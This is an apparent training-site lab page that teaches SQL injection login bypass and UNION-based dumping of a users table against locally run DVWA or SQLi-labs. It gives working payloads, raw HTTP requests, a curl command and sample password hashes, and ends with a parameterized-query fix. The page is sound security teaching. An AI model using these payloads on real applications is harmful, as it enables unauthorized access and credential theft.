← All labs
MediumWeb Exploitation ~30 min

SQLi Login Bypass

Bypass a vulnerable login form with a classic SQL injection payload, then escalate to dumping the users table.

↳ Based on the lesson: SQL Injection

Legal Use Only

SQL injection testing must only be performed on applications you own or have explicit written authorization to attack. Running these techniques against any production system without authorization is illegal. This lab targets DVWA or SQLi-labs running on your own VM - never a live site.

The login form trusts whatever you type in the username field. You're about to prove it shouldn't.

Scenario

You've found a legacy PHP application running on your lab VM. The login page accepts a username and password and passes them straight into a MySQL query with no sanitization. Your job is to log in without knowing any valid credentials, then extract the full users table from the database.

Setup - choose one:

# Option A: DVWA via Docker
$ docker run -d -p 8080:80 vulnerables/web-dvwa
# Navigate to http://localhost:8080 and set security level to Low
 
# Option B: SQLi-labs
$ docker run -d -p 8080:80 acgpiano/sqli-labs
# Navigate to http://localhost:8080/Less-11/ for a login form
 
# Option C: Any Metasploitable 2 VM on your host-only network

The vulnerable SQL query on the server looks like this (you won't see it, but this is what runs):

SELECT * FROM users WHERE username='INPUT' AND password='INPUT';

Your Objective

  1. Bypass the login form without knowing any real username or password
  2. Confirm you are authenticated as the first user in the database
  3. Dump the users table (usernames and password hashes) using a UNION-based payload
  4. Capture the flag: the admin password hash

Hints

Hint 1 - break the query first

Before crafting a bypass, prove the field is injectable. Enter a single quote ' as the username. If the page throws a SQL error or behaves differently than entering a normal string, the field is vulnerable.

Hint 2 - the classic OR bypass

SQL is evaluated left-to-right. If you can make the WHERE clause always evaluate to TRUE, the database returns all rows and the application logs you in as the first one. Think about what OR '1'='1 does to a boolean expression.

Hint 3 - UNION to dump data

A UNION attack appends a second SELECT to the original query. You need to match the number of columns the original query returns. Start with UNION SELECT NULL,NULL-- and add NULLs until you stop getting an error. Then replace NULLs with column names from information_schema.tables.

Walkthrough

Step 1: Confirm the injection point

Enter a single quote in the username field and anything in the password field, then submit.

POST /login.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
 
username='&password=anything

If the server replies with a MySQL error such as You have an error in your SQL syntax - the field is injectable. The single quote broke the query structure.

Step 2: Login bypass with OR injection

In the username field, enter the bypass payload. The password field can be anything.

POST /login.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
 
username=' OR '1'='1' --+&password=anything

The server now executes:

SELECT * FROM users WHERE username='' OR '1'='1' --+' AND password='anything';

Everything after --+ is a comment. The OR '1'='1' makes the WHERE clause always true. MySQL returns the first row in users - usually admin. You are now logged in.

Using curl:

$ curl -s -c cookies.txt -d "username=' OR '1'='1' --+&password=x&Login=Login" \
  http://localhost:8080/vulnerabilities/sqli/
Step 3: Count columns with ORDER BY

Before running a UNION attack, find the number of columns the original SELECT returns:

POST /login.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
 
username=' ORDER BY 1--+&password=x

Increment the number (ORDER BY 2, ORDER BY 3, ...) until you get an error. If ORDER BY 2 works but ORDER BY 3 errors, the query returns 2 columns.

Step 4: UNION SELECT to extract the users table

With 2 columns confirmed, craft a UNION payload to dump usernames and passwords:

POST /login.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
 
username=' UNION SELECT user,password FROM users--+&password=x

The server now returns rows from users alongside (or instead of) the original result. In DVWA, the page displays each row - you'll see usernames and their MD5 password hashes:

admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337  : 8d3533d75ae2c3966d7e0d4fcc69216b
Step 5: Enumerate the database with sqlmap (automated)
kali@vr4cs: ~
 

Solution

Login bypass payload:

' OR '1'='1' --+

Why it works: The injected OR '1'='1' transforms the WHERE clause into WHERE username='' OR TRUE, which matches every row. The --+ comments out the rest of the original query (including the password check), so authentication is bypassed entirely regardless of what password you supply.

UNION dump payload:

' UNION SELECT user,password FROM users--+

This appends a second query that returns every row from the users table, which the application then renders on screen - exposing all credential hashes.

Defend It

The fix: parameterized queries

The entire class of SQL injection is prevented by separating SQL code from user data. Use prepared statements where the query structure is compiled before any user input is supplied.

PHP (PDO) - the correct pattern:

# Vulnerable (string concatenation):
# $query = "SELECT * FROM users WHERE username='$username'";
 
# Safe (parameterized):
# $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
# $stmt->execute([$username]);

Additional hardening:

  • Principle of least privilege - the app's DB user should have SELECT only on the tables it needs, not CREATE/DROP/FILE.
  • Disable verbose errors - never expose MySQL error messages in HTTP responses. Log them server-side instead.
  • Web Application Firewall - a WAF adds a detection layer but is not a substitute for parameterized queries.
  • Hash passwords with bcrypt - if an attacker does dump hashes, bcrypt makes cracking infeasible. MD5 hashes crack in seconds.